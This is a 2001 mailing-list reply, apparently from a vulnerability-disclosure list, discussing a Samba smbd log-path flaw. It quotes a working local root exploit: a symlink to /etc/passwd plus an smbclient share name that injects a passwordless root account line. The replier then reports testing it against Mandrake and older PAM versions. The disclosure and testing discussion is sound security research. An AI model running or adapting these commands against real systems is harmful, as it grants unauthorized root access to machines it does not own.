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Re: smbd remote file creation vulnerability

daemon@ATHENA.MIT.EDU (maniac@localhost.sk)
Mon Jun 25 12:29:29 2001

From: maniac@localhost.sk
Date: Mon, 25 Jun 2001 00:14:02 +0200
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Cc: Michal Zalewski <lcamtuf@bos.bindview.com>
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In-Reply-To: <Pine.LNX.4.21.0106232315510.10682-100000@nimue.bos.bindview.com>; from lcamtuf@bos.bindview.com on Sat, Jun 23, 2001 at 11:24:26PM -0400

> Exploit:
> 
>    This is the scenario of local privilege escalation attack against
>    RedHat 7.x installation:
> 
>    $ ln -s /etc/passwd /tmp/x.log
> 
>    $ smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" \
>      -n ../../../tmp/x -N
> 
>    ...where 'NIMUE' stands for local host name (few error messages
>    should be returned).
> 
>    $ su toor
>    #


Hi,

Mandrake 7.1 (Mandrake 8.0 and RedHat6.2) defaultly logs here:
/var/log/samba/log.%m

I replaced it with /var/log/samba/%m.log and used your exploit, which
worked - into /etc/passwd was appended also line:
  toor::0:0::/:/bin/sh

But until there was that two spaces onto begining of line, it was
impossible to su to that account, this is error message:

Jun 24 23:28:55 localhost PAM_pwdb[23844]: check pass; user unknown

I tried to insert \r after the first \n, but unsucessfully. 
I'm using pam-0.72-7mdk.

This versions of PAM also don't permit spaces on begining of line:
pam-0.72-20.6.x (Redhat6.2)
pam-0.74-6mdk (Mandrake8.0(

Maybe sshd without PAM support and permitting empty password may be
'vulnerable' on such systems.

maniac


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